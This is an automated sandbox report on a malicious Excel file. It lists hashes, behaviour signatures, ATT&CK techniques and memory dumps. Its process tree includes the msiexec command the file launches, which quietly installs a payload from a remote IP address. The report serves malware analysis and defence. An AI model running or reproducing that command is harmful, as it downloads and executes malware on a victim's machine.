Analysis

  • max time kernel
    106s
  • max time network
    77s
  • platform
    windows7_x64
  • resource
    win7-20220812-en
  • resource tags

    arch:x64arch:x86image:win7-20220812-enlocale:en-usos:windows7-x64system
  • submitted
    25-11-2022 08:29

General

  • Target

    35a74ddb4036415dd55b0128866782d2069e65fe3222e7e2b28cd990a7656c52.xls

  • Size

    110KB

  • MD5

    2c6ebf756130f7b9dd6ec00f7bcef7be

  • SHA1

    61f0abc3c010eac2928d7007904eb73bd9b9723a

  • SHA256

    35a74ddb4036415dd55b0128866782d2069e65fe3222e7e2b28cd990a7656c52

  • SHA512

    a9060c6625bfabc471358a94057dd80be1af6f0af1fede149ef8c570deed78f95f97ca7469ca04786bf5ac1a80c78c7f74a5a9a6fee35aeb73b5f9fc5b46d1d1

  • SSDEEP

    3072:dKpb8rGYrMPelwhKmFV5xtezEsgrdgZArP0glZxL1VquK:dKpb8rGYrMPelwhKmFV5xtuEsgrdgZ4I

Score
10/10

Malware Config

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 1 IoCs
  • Use of msiexec (install) with remote resource 1 IoCs
  • Enumerates system info in registry 2 TTPs 1 IoCs
  • Modifies Internet Explorer settings 1 TTPs 31 IoCs
  • Modifies registry class 64 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 34 IoCs
  • Suspicious use of SetWindowsHookEx 3 IoCs
  • Suspicious use of WriteProcessMemory 7 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\35a74ddb4036415dd55b0128866782d2069e65fe3222e7e2b28cd990a7656c52.xls
    1⤵
    • Enumerates system info in registry
    • Modifies Internet Explorer settings
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:900
    • C:\Windows\SysWOW64\msiexec.exe
      msiexec.exe RETURN=185 /i http://195.123.209.169/control /q ksw='%TEMP%'
      2⤵
      • Process spawned unexpected child process
      • Use of msiexec (install) with remote resource
      • Suspicious use of AdjustPrivilegeToken
      PID:1720
  • C:\Windows\system32\msiexec.exe
    C:\Windows\system32\msiexec.exe /V
    1⤵
    • Blocklisted process makes network request
    • Suspicious use of AdjustPrivilegeToken
    PID:1040

Network

MITRE ATT&CK Matrix ATT&CK v6

Defense Evasion

Modify Registry

1
T1112

Discovery

Query Registry

1
T1012

System Information Discovery

1
T1082

Replay Monitor

Loading Replay Monitor...

Downloads

  • memory/900-54-0x000000002F471000-0x000000002F474000-memory.dmp
    Filesize

    12KB

  • memory/900-55-0x0000000071C51000-0x0000000071C53000-memory.dmp
    Filesize

    8KB

  • memory/900-56-0x000000005FFF0000-0x0000000060000000-memory.dmp
    Filesize

    64KB

  • memory/900-57-0x0000000072C3D000-0x0000000072C48000-memory.dmp
    Filesize

    44KB

  • memory/900-58-0x0000000075C61000-0x0000000075C63000-memory.dmp
    Filesize

    8KB

  • memory/900-59-0x0000000072C3D000-0x0000000072C48000-memory.dmp
    Filesize

    44KB

  • memory/900-63-0x000000005FFF0000-0x0000000060000000-memory.dmp
    Filesize

    64KB

  • memory/900-64-0x0000000072C3D000-0x0000000072C48000-memory.dmp
    Filesize

    44KB

  • memory/1040-62-0x000007FEFC3B1000-0x000007FEFC3B3000-memory.dmp
    Filesize

    8KB

  • memory/1720-60-0x0000000000000000-mapping.dmp